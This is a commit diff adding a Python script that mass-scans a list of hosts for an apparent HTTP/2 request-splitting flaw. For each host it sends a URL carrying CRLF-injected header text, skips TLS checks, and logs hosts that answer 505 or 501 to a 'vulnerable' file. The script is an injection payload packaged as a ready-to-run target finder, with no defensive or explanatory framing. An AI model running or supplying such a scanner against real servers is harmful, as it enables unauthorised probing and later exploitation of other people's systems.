|
| 1 | +import httpx |
| 2 | +from requests.packages.urllib3.exceptions import InsecureRequestWarning |
| 3 | +from httpx import RequestError |
| 4 | + |
| 5 | +# Suppress only the single warning from urllib3 needed. |
| 6 | + |
| 7 | +# Read hosts from file |
| 8 | +with open('hosts.txt', 'r') as file: |
| 9 | + hosts = file.read().splitlines() |
| 10 | + |
| 11 | +# Initialize lists for success and failure hosts |
| 12 | +success_hosts = [] |
| 13 | +failure_hosts = [] |
| 14 | + |
| 15 | +headers = { |
| 16 | + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0' |
| 17 | +} |
| 18 | + |
| 19 | +# Process each host |
| 20 | +for host in hosts: |
| 21 | + url = f'https://{host}/%20HTTP/9%0D%0ATransfer-Encoding:%20nonexistant%0D%0Ax-end:%20a' |
| 22 | + try: |
| 23 | + with httpx.Client(http2=True, verify=False) as client: |
| 24 | + response = client.get(url, headers=headers, timeout=4, follow_redirects=False) # Ignore SSL certificate verification |
| 25 | + |
| 26 | + if response.status_code == 505 or response.status_code == 501: |
| 27 | + # Add host to success list and write to file |
| 28 | + success_hosts.append(host) |
| 29 | + with open('vulnerable.txt', 'a') as file: |
| 30 | + file.write(host + '\n') |
| 31 | + print('\033[92mSUCCESS saved host to vulnerable.txt', host, '\033[0m') |
| 32 | + else: |
| 33 | + # Add host to failure list and print response code |
| 34 | + failure_hosts.append(host) |
| 35 | + print('\033[91mFAIL', host, response.status_code, '\033[0m') |
| 36 | + except RequestError as e: |
| 37 | + if 'Errno 61' in str(e): |
| 38 | + print('not open') |
| 39 | + elif 'Errno 8]' in str(e): |
| 40 | + print('Unknown...') |
| 41 | + else: |
| 42 | + print('An error occurred:', e) |
| 43 | + |
| 44 | +# Print summary |
| 45 | +print('Success hosts:', success_hosts) |
| 46 | +print('Failure hosts:', failure_hosts) |
0 commit comments